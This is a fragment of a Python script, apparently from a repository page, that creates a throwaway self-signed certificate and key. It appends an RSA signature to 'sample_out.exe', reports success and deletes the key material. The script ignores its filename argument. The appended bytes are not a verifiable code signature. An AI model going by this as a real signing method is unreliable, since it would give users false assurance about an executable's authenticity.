|
||||||
|
f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8"))
|
||||||
|
with open(KEY_FILE, "wt") as f:
|
||||||
|
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode("utf-8"))
|
||||||
|
|
||||||
|
def sign(filename) :
|
||||||
|
cert_gen()
|
||||||
|
# Load the private key
|
||||||
|
with open('private.key', 'rb') as private_key_file:
|
||||||
|
private_key_data = private_key_file.read()
|
||||||
|
private_key = RSA.import_key(private_key_data)
|
||||||
|
|
||||||
|
# Load the .cert file (assuming it contains the certificate in PEM format)
|
||||||
|
with open('selfsigned.crt', 'rb') as cert_file:
|
||||||
|
certificate_data = cert_file.read()
|
||||||
|
|
||||||
|
# Load the .exe file to be signed
|
||||||
|
exe_to_sign = 'sample_out.exe'
|
||||||
|
with open(exe_to_sign, 'rb') as exe_file:
|
||||||
|
exe_data = exe_file.read()
|
||||||
|
|
||||||
|
# Compute the SHA-256 hash of the .exe file
|
||||||
|
hash_obj = SHA256.new(exe_data)
|
||||||
|
|
||||||
|
# Sign the hash using the private key
|
||||||
|
signature = pkcs1_15.new(private_key).sign(hash_obj)
|
||||||
|
|
||||||
|
# Save the signature to a file
|
||||||
|
with open('signature.sig', 'wb') as signature_file:
|
||||||
|
signature_file.write(signature)
|
||||||
|
|
||||||
|
# Combine the .exe file and the signature
|
||||||
|
signed_exe = exe_data + signature
|
||||||
|
|
||||||
|
# Save the signed .exe file
|
||||||
|
signed_exe_filename = 'sample_out.exe'
|
||||||
|
with open(signed_exe_filename, 'wb') as signed_exe_file:
|
||||||
|
signed_exe_file.write(signed_exe)
|
||||||
|
|
||||||
|
print(f"Successfully signed {exe_to_sign}.")
|
||||||
|
|
||||||
|
os.remove("selfsigned.crt")
|
||||||
|
os.remove("private.key")
|
||||||
|
os.remove("signature.sig")
|
||||||
Reference in New Issue
Block a user